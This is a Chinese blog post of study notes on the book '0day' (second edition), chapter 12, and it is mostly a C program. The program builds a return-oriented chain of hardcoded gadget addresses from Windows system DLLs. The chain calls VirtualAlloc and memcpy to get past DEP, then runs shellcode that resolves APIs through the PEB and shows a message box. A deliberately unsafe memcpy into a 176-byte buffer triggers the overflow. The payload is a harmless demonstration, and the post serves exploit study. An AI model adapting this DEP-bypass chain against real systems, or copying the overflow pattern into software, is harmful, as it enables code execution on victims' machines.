0 day(第二版)第十二章 DisableDEP 中的VirtualAlloc理解

Ret2Lib技术有点借刀杀人的味道,构建堆栈很巧妙。

// GS_Virtual.cpp : 定义控制台应用程序的入口点。
//

#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <windows.h>
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
										/*
											shell32.dll
											7D72E79A    54              push    esp
											7D72E79B    5D              pop     ebp
											7D72E79C    C2 0400         retn    4
										*/
"\x9A\xE7\x72\x7D""//shell32.dll 中的 push esp,pop ebp, retn 4 ,此处选择4,是因为执行完后 esp = ebp + 8,刚好第一个参数  
										/*
											kernel32.dll
										7C809AF1 >  8BFF            mov     edi, edi
										7C809AF3    55              push    ebp
										7C809AF4    8BEC            mov     ebp, esp
										7C809AF6    FF75 14         push    dword ptr ss:[ebp+14]
										7C809AF9    FF75 10         push    dword ptr ss:[ebp+10]
										7C809AFC    FF75 0C         push    dword ptr ss:[ebp+C]
										7C809AFF    FF75 08         push    dword ptr ss:[ebp+8]
										7C809B02    6A FF           push    -1
										7C809B04    E8 09000000     call    VirtualAllocEx
										7C809B09    5D              pop     ebp
										7C809B0A    C2 1000         retn    10
										*/
"\x04\x9B\x80\x7C"
"\x90\x90\x90\x90"
"\xFF\xFF\xFF\xFF"//-1当前进程
"\x00\x00\x03\x00"//申请空间起始地址
"\xFF\x00\x00\x00"//申请空间大小
"\x00\x10\x00\x00"//申请类型
"\x40\x00\x00\x00"//申请空间访问类型
"\x90\x90\x90\x90"
									/*
										shell32.dll
										7D6DE042    58              pop     eax
										7D6DE043    C3              retn
									*/
"\x42\xE0\x6D\x7D"//pop eax retn
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"	
									/*
										shell32.dll
										7D5C889A    5E              pop     esi
										7D5C889B    5B              pop     ebx
										7D5C889C    C3              retn
									*/
"\x9A\x88\x5C\x7D"//上句pop eax的值,此值为 pop pop retn的地址

									/*
											shell32.dll
											7D72E79A    54              push    esp
											7D72E79B    5D              pop     ebp
											7D72E79C    C2 0400         retn    4
									*/
"\x9A\xE7\x72\x7D"//push esp,pop ebp,retn4
									/*
											shell32.dll
											7D5CB068    59              pop     ecx
											7D5CB069    C3              retn
									*/
"\x68\xB0\x5C\x7D"
//"\x00\x00\x03\x00" //可执行内存空间地址,转入执行用
"\x08\x00\x03\x00" //可执行内存空间地址,转入执行用
"\x00\x00\x03\x00" //memcpy 参数  目的地址
									/*
											rpcrt4.dll
											77EBDDB8    54              push    esp
											77EBDDB9    FFE0            jmp     eax   //此eax 通过前面的pop eax ,retn 指令序列可以控制其值
									*/
"\xB8\xDD\xEB\x77"
"\xFF\x00\x00\x00" //memcpy 参数
									/*
											ntdll.dll
											7C921DB3 > $  55            push    ebp
											7C921DB4   .  8BEC          mov     ebp, esp
											7C921DB6   .  57            push    edi
											7C921DB7   .  56            push    esi
											7C921DB8   .  8B75 0C       mov     esi, dword ptr ss:[ebp+C]
											7C921DBB   .  8B4D 10       mov     ecx, dword ptr ss:[ebp+10]
											7C921DBE   .  8B7D 08       mov     edi, dword ptr ss:[ebp+8]
											7C921DC1   .  8BC1          mov     eax, ecx
											7C921DC3   .  8BD1          mov     edx, ecx
											7C921DC5   .  03C6          add     eax, esi
											7C921DC7   .  3BFE          cmp     edi, esi
											7C921DC9   .  76 08         jbe     short 7C921DD3
											....
											.....
											....
											pop esi
											pop edi
											leave
											retn
									*/
"\xB8\x1D\x92\x7C"

/*
"\xBA\xD9\xBB\x7C"//修正EBP retn 4
"\xBC\x45\x82\x7C"//申请空间
"\x90\x90\x90\x90"
"\xFF\xFF\xFF\xFF"//-1当前进程
"\x00\x00\x03\x00"//申请空间起始地址
"\xFF\x00\x00\x00"//申请空间大小
"\x00\x10\x00\x00"//申请类型
"\x40\x00\x00\x00"//申请空间访问类型
"\x90\x90\x90\x90"
"\x8A\x17\x84\x7C"//pop eax retn
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x0B\x1A\xBF\x7C"//pop pop retn
"\xBA\xD9\xBB\x7C"//修正EBP retn4
"\x5F\x78\xA6\x7C"//pop retn
"\x00\x00\x03\x00"//可执行内存空间地址,转入执行用
"\x00\x00\x03\x00"//可执行内存空间地址,拷贝用
"\xBF\x7D\xC9\x77"//push esp jmp eax && 原始shellcode起始地址
"\xFF\x00\x00\x00"//shellcode长度
"\xAC\xAF\x94\x7C"//memcpy
"\x00\x00\x03\x00"//一个可以读地址
"\x00\x00\x03\x00"//一个可以读地址
"\x00\x90\x90\x94"
*/
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"


;
void test()
{
	char tt[176];
	memcpy(tt,shellcode,450);
}
int main()
{
	HINSTANCE hInst = LoadLibrary("shell32.dll");
	char temp[200];
	test();
    return 0;
}


你可能感兴趣的:(0 day(第二版)第十二章 DisableDEP 中的VirtualAlloc理解)